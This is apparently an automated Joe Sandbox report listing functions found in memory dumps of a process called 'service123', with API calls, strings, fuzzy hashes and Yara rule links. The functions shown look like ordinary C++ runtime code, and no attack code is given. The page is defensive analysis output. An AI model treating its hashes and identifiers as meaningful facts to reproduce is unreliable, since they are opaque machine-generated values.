Opcode ID: c2b570a3904f17255e6178cae360b51e0f0771d8f4e0b0ba75ebf925efdecfd1
Instruction ID: 69bdc6354b0af28878a3c6d083d8b5459a2648473788c6a29055ac5319793066
Opcode Fuzzy Hash: c2b570a3904f17255e6178cae360b51e0f0771d8f4e0b0ba75ebf925efdecfd1
Instruction Fuzzy Hash: D9E0ECB19057118AD7007F38CA0D39AB6F1BBA1308F85886CD498A7744E7799449D752

Function 009580D8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 19stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 009580F2
strchr.MSVCRT ref: 00958102
atoi.MSVCRT ref: 00958113

Strings

., xrefs: 009580F7

Memory Dump Source

Source File: 00000009.00000002.4137335593.0000000000951000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00950000, based on PE: true

Associated: 00000009.00000002.4137298907.0000000000950000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137371507.000000000095A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137424095.000000000095E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137468592.0000000000961000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_950000_service123.jbxd

Similarity

API ID: atoisetlocalestrchr
String ID: .
API String ID: 1223908000-248832578
Opcode ID: ada1008d35e41e10e64cf9da6c6253745884d5c573850742e5c05c36619c67f5
Instruction ID: d94f92d5705c7498a09afeecf8f5e0348b2f27681360f39fedd2c3408a597bcc
Opcode Fuzzy Hash: ada1008d35e41e10e64cf9da6c6253745884d5c573850742e5c05c36619c67f5
Instruction Fuzzy Hash: 93E0E671908B014AD740BF35C94B31B75D16B80301F458C5CD88497245DF79944A9752

Function 6C7B9293 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 6C7B929F
GetProcAddress.KERNEL32 ref: 6C7B92B3

Strings

advapi32.dll, xrefs: 6C7B9298
SystemFunction036, xrefs: 6C7B92A8

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: SystemFunction036$advapi32.dll
API String ID: 2574300362-1354007664
Opcode ID: 3c33b3563c7b799481768b01f31fe37af5f8b6ef38eafc827f11f1fc5d03e02f
Instruction ID: e493ffff51439f0bcfc9f50ff641db7efc48634d7472473dd876d04135971121
Opcode Fuzzy Hash: 3c33b3563c7b799481768b01f31fe37af5f8b6ef38eafc827f11f1fc5d03e02f
Instruction Fuzzy Hash: E8E04FB2C45210CBC720AF789A0A04ABBF0BA56324F40497ED09997A00E3349508CB97

Function 6C7B1409 Relevance: 6.5, APIs: 3, Strings: 1, Instructions: 482COMMON

Download Yara Rule

Strings

5, xrefs: 6C7B14D2

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID: 5
API String ID: 0-2226203566
Opcode ID: 0def768305c1260408af7aedaccc920191e6de14808f59ae1b5c2c05f6ae47ac
Instruction ID: 692db2c6a525eba78a81c11a0e7474e473752ce07dea5ef0bdf76903fdadc4a1
Opcode Fuzzy Hash: 0def768305c1260408af7aedaccc920191e6de14808f59ae1b5c2c05f6ae47ac
Instruction Fuzzy Hash: 8E22F075A097418FC724CF29C68875AFBE1BF89348F15892EE9D8A7710D734E845CB42

Function 6C7AA340 Relevance: 6.3, APIs: 5, Instructions: 98stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C7AA3C5
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,6C7BC41C), ref: 6C7AA3E0
free.MSVCRT ref: 6C7AA3EA

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: freememcpystrlen
String ID:
API String ID: 2208669145-0
Opcode ID: 8aca595b40c5aec91f2de1c08c048b35de6ccf81032139ab758e9609a5d25e1a
Instruction ID: 4d8545c51f54d85b77cc02fe570342e60f37aa4bbe8f32426c150314a2391aea
Opcode Fuzzy Hash: 8aca595b40c5aec91f2de1c08c048b35de6ccf81032139ab758e9609a5d25e1a
Instruction Fuzzy Hash: B0311C716097118FD3009FADD68861BBBE1AFD1768F250B2CE9B457B40D731D44A8F92

Function 6C7F5C40 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 308COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C7F5D74
memchr.MSVCRT ref: 6C7F5D93

Part of subcall function 6C868520: setlocale.MSVCRT ref: 6C868535

Strings

-, xrefs: 6C7F5F72
., xrefs: 6C7F5D85

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memchrmemcpysetlocale
String ID: -$.
API String ID: 4291329590-3807043784
Opcode ID: 6bad6742e4370dfa6166193fa0309750cedc680ecfcb4618ce5cd2cbb6197611
Instruction ID: b4d865dd9d8ff7e2af82312ec5324e85d9e9b4225b0b31d762bbaca0d5aaf460
Opcode Fuzzy Hash: 6bad6742e4370dfa6166193fa0309750cedc680ecfcb4618ce5cd2cbb6197611
Instruction Fuzzy Hash: 8FD15BB09093199FCB40DFA8D1C858DBBF1BF48344F148A2AE8A4EB751D734D946CB91

Function 6C7F6080 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 306COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C7F61AE
memchr.MSVCRT ref: 6C7F61CD

Part of subcall function 6C868520: setlocale.MSVCRT ref: 6C868535

Strings

., xrefs: 6C7F61BF
6, xrefs: 6C7F63B6

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memchrmemcpysetlocale
String ID: .$6
API String ID: 4291329590-4089497287
Opcode ID: f8da195149ee8cf9da016e120a37e8598c62a7d0520c104dcd4b6a248e79e79d
Instruction ID: 7f3fb437ee01bc570890a1968db6cbe31cc8fa41a49dc9cb87a94cc434799af6
Opcode Fuzzy Hash: f8da195149ee8cf9da016e120a37e8598c62a7d0520c104dcd4b6a248e79e79d
Instruction Fuzzy Hash: 1FD149B09087599FCB00DFA8C5C468EBBF0BF48344F148A2AE8A4E7751D734DA46CB91

Function 6C870F90 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 283stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C870FD5

Strings

basic_string::append, xrefs: 6C87104D, 6C871059, 6C87114C, 6C87120C

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlen
String ID: basic_string::append
API String ID: 39653677-3811946249
Opcode ID: 53e46c8fff5a917011708c93bd6773771975fd057c1f162e12fbb5a6f6006ea8
Instruction ID: 4010b86461ab66ca4c6ac000d194189451ded649f20a9496eb603898cf22c70a
Opcode Fuzzy Hash: 53e46c8fff5a917011708c93bd6773771975fd057c1f162e12fbb5a6f6006ea8
Instruction Fuzzy Hash: 1BA14E71A042059FCB20EF68C6C465EBBF1FF89314F458979E8989B744E734D849CBA2

Function 6C80B2D0 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 153COMMON

Download Yara Rule

APIs

memmove.MSVCRT(00000000,?,?,6C80997F), ref: 6C80B336
memcpy.MSVCRT(?,?,?,?,?,?,6C80997F), ref: 6C80B3A1
memcpy.MSVCRT(00000000,?,?,6C80997F), ref: 6C80B3E8

Strings

basic_string::assign, xrefs: 6C80B403

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memcpy$memmove
String ID: basic_string::assign
API String ID: 1283327689-2385367300
Opcode ID: c682d5430ec51cefcb6f593203a695f75b25480b473aa483bff5f5b2253cc30f
Instruction ID: a4cf762fbe71cb868f60753ca02b8250ca92b9c7636fbf4dbfdcc0eb6ba528b7
Opcode Fuzzy Hash: c682d5430ec51cefcb6f593203a695f75b25480b473aa483bff5f5b2253cc30f
Instruction Fuzzy Hash: 5C51AE71B0A6118BD724DF28CA8862EF7F1FF95718F21892DE4548B714E330D905CB92

Function 6C814410 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 150COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 6C814471
memcpy.MSVCRT ref: 6C8144DF
memcpy.MSVCRT ref: 6C814518

Strings

basic_string::assign, xrefs: 6C814534

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memcpy$memmove
String ID: basic_string::assign
API String ID: 1283327689-2385367300
Opcode ID: 0e938e2f18d09f1308d31d497e28cbea34eb064681ebd04319c219d6982fb4e3
Instruction ID: db14c694b442612cbd15d389123d788604c287406b7e3426c9a4a0f2f64accef
Opcode Fuzzy Hash: 0e938e2f18d09f1308d31d497e28cbea34eb064681ebd04319c219d6982fb4e3
Instruction Fuzzy Hash: C8519EB1B0A2128FD720DF29D68465AFBE5AFD231CF11896DD4948BB18E730D805CB92

Function 6C7CE980 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 127stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C7CE9AA
wcslen.MSVCRT ref: 6C7CEA1A

Strings

basic_string: construction from null is not valid, xrefs: 6C7CE9E2, 6C7CEA52, 6C7CEAC2

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlenwcslen
String ID: basic_string: construction from null is not valid
API String ID: 803329031-2991274800
Opcode ID: 3ddbc8c26dab43d918cc30e7065061d68e8ff7ab3cc12af62e14736511509981
Instruction ID: 7ffe85df2f5664fa0ea88caf3c26104d8c44e4440539e8c9b6bd84786a0d043f
Opcode Fuzzy Hash: 3ddbc8c26dab43d918cc30e7065061d68e8ff7ab3cc12af62e14736511509981
Instruction Fuzzy Hash: 8541ADF1A056158FCB10EF2CD68585ABBE0BF54318F564979E8848B714E331E989CBD3

Function 6C7CE581 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 115stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C7CE5AD
strlen.MSVCRT ref: 6C7CE5FD

Strings

basic_string: construction from null is not valid, xrefs: 6C7CE5CF, 6C7CE61F, 6C7CE66F

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlen
String ID: basic_string: construction from null is not valid
API String ID: 39653677-2991274800
Opcode ID: 4624fa1b14439a2161ce00f3811269bfda5b8f5a9af4f7b3ad63ea36b11b3bc2
Instruction ID: 5b43b1b023df375e741522871ea3d70d3edffd23d5c9539ce5a42b267a7b51f2
Opcode Fuzzy Hash: 4624fa1b14439a2161ce00f3811269bfda5b8f5a9af4f7b3ad63ea36b11b3bc2
Instruction Fuzzy Hash: D93182B16163158FCB10AF2CD68588ABBE4BF15618B464C7EE8849B711D331EC49CBA2

Function 6C7B9660 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

IsDBCSLeadByteEx.KERNEL32 ref: 6C7B96B2
MultiByteToWideChar.KERNEL32 ref: 6C7B96F5

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: Byte$CharLeadMultiWide
String ID:
API String ID: 2561704868-0
Opcode ID: 1c97eeb460bf0799f17266c863310e31d12daff287b1386cbf3b079a9ccec55c
Instruction ID: 4b73143daf3b806451ed6db75fb3f5d5beffc88663b2689a5e2edb7e213acbcd
Opcode Fuzzy Hash: 1c97eeb460bf0799f17266c863310e31d12daff287b1386cbf3b079a9ccec55c
Instruction Fuzzy Hash: CE31F7B45093418FD700DF39E68424ABBF0BFA6318F14896DE8E497751D3B6D949CB82

Function 00957C40 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

IsDBCSLeadByteEx.KERNEL32 ref: 00957C92
MultiByteToWideChar.KERNEL32 ref: 00957CD5

Memory Dump Source

Source File: 00000009.00000002.4137335593.0000000000951000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00950000, based on PE: true

Associated: 00000009.00000002.4137298907.0000000000950000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137371507.000000000095A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137424095.000000000095E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137468592.0000000000961000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_950000_service123.jbxd

Similarity

API ID: Byte$CharLeadMultiWide
String ID:
API String ID: 2561704868-0
Opcode ID: 18ba186541b3b843a70a475a2593539a0b5dc3cbf79e7e8f85ae66ea63d9abcf
Instruction ID: 9cb6efe44c67fd2df5cae3469170c5a1d32ec4e603c12e739467b949bc237b6d
Opcode Fuzzy Hash: 18ba186541b3b843a70a475a2593539a0b5dc3cbf79e7e8f85ae66ea63d9abcf
Instruction Fuzzy Hash: B031F2B050D3418FD710DF6AE58426ABBF0BF85315F04891DE8D48B390E7B6DA49CB92

Function 6C7AF511 Relevance: 6.1, APIs: 4, Instructions: 91COMMON

Download Yara Rule

APIs

ReleaseSemaphore.KERNEL32 ref: 6C7AF5C1

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: ReleaseSemaphore
String ID:
API String ID: 452062969-0
Opcode ID: a7d59729368a21510b8701a2237b58f05d787b4dff7793398cbfdcea545a52de
Instruction ID: 901cd0a757320c728d0baa193c59c405ff87bbccff153f964d25b74bf1adf207
Opcode Fuzzy Hash: a7d59729368a21510b8701a2237b58f05d787b4dff7793398cbfdcea545a52de
Instruction Fuzzy Hash: B1410770A0A311CFDB24DF69D68870A7BF0BB4632CF148669D8585B654E331E646CFE2

Function 6C7AF6B0 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

ReleaseSemaphore.KERNEL32 ref: 6C7AF751

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: ReleaseSemaphore
String ID:
API String ID: 452062969-0
Opcode ID: d7d8a78595a62773e06aa507624539e16795d6fd3822c1d662bab5845ed3f968
Instruction ID: b9349513e669dd4b9fad63b6a1389e91bd75d46883704475a86b015fadbd2b91
Opcode Fuzzy Hash: d7d8a78595a62773e06aa507624539e16795d6fd3822c1d662bab5845ed3f968
Instruction Fuzzy Hash: 3D311870606311CFDB209FA9C68830A7BF0BB4632CF55867AD8544B694E335D546CFE2

Function 6C7AF9D1 Relevance: 6.1, APIs: 4, Instructions: 81synchronizationCOMMON

Download Yara Rule

APIs

ReleaseSemaphore.KERNEL32 ref: 6C7AFA72
CreateSemaphoreW.KERNEL32 ref: 6C7AFAB7
WaitForSingleObject.KERNEL32 ref: 6C7AFB00

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: Semaphore$CreateObjectReleaseSingleWait
String ID:
API String ID: 3817295960-0
Opcode ID: 9fad16c0a7e70e217f4bbb6951e344fac06b973ff9048842df4c00a9342776d5
Instruction ID: be3cadd2a519281aa4a543464344c83e175f0c4fc6bec625a05ca53d20552b40
Opcode Fuzzy Hash: 9fad16c0a7e70e217f4bbb6951e344fac06b973ff9048842df4c00a9342776d5
Instruction Fuzzy Hash: 4531E970605311CFDB21DF69C68874A7BF0BB4632CF148679E85897680E335EA46CFA2

Function 6C7AFB60 Relevance: 6.1, APIs: 4, Instructions: 76synchronizationCOMMON

Download Yara Rule

APIs

ReleaseSemaphore.KERNEL32 ref: 6C7AFBF2
CreateSemaphoreW.KERNEL32 ref: 6C7AFC37
WaitForSingleObject.KERNEL32 ref: 6C7AFC80

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: Semaphore$CreateObjectReleaseSingleWait
String ID:
API String ID: 3817295960-0
Opcode ID: 8addc6d998253b6fb597dff2cbfb9cad00d4cfd94af6b69141b08c8bd33ef6fd
Instruction ID: 4b552e17201a4a45f86792920a7d3372fb7b54f5ac31fffc7dad8ec3ad498a3c
Opcode Fuzzy Hash: 8addc6d998253b6fb597dff2cbfb9cad00d4cfd94af6b69141b08c8bd33ef6fd
Instruction Fuzzy Hash: 6631EA70609311DFDB21AF6AC68830A7BF0BB4676CF149679E8548B284D335D546CFE2

Function 6C7A55A8 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 64stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C7A72FE

Strings

}, xrefs: 6C7A7392
{parm#, xrefs: 6C7A72D9
this, xrefs: 6C7A55B3

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlen
String ID: this${parm#$}
API String ID: 39653677-3278767634
Opcode ID: 9a38e43638a880864f382386bdbf10cce9d4fafff17e017489f518dd4935c62e
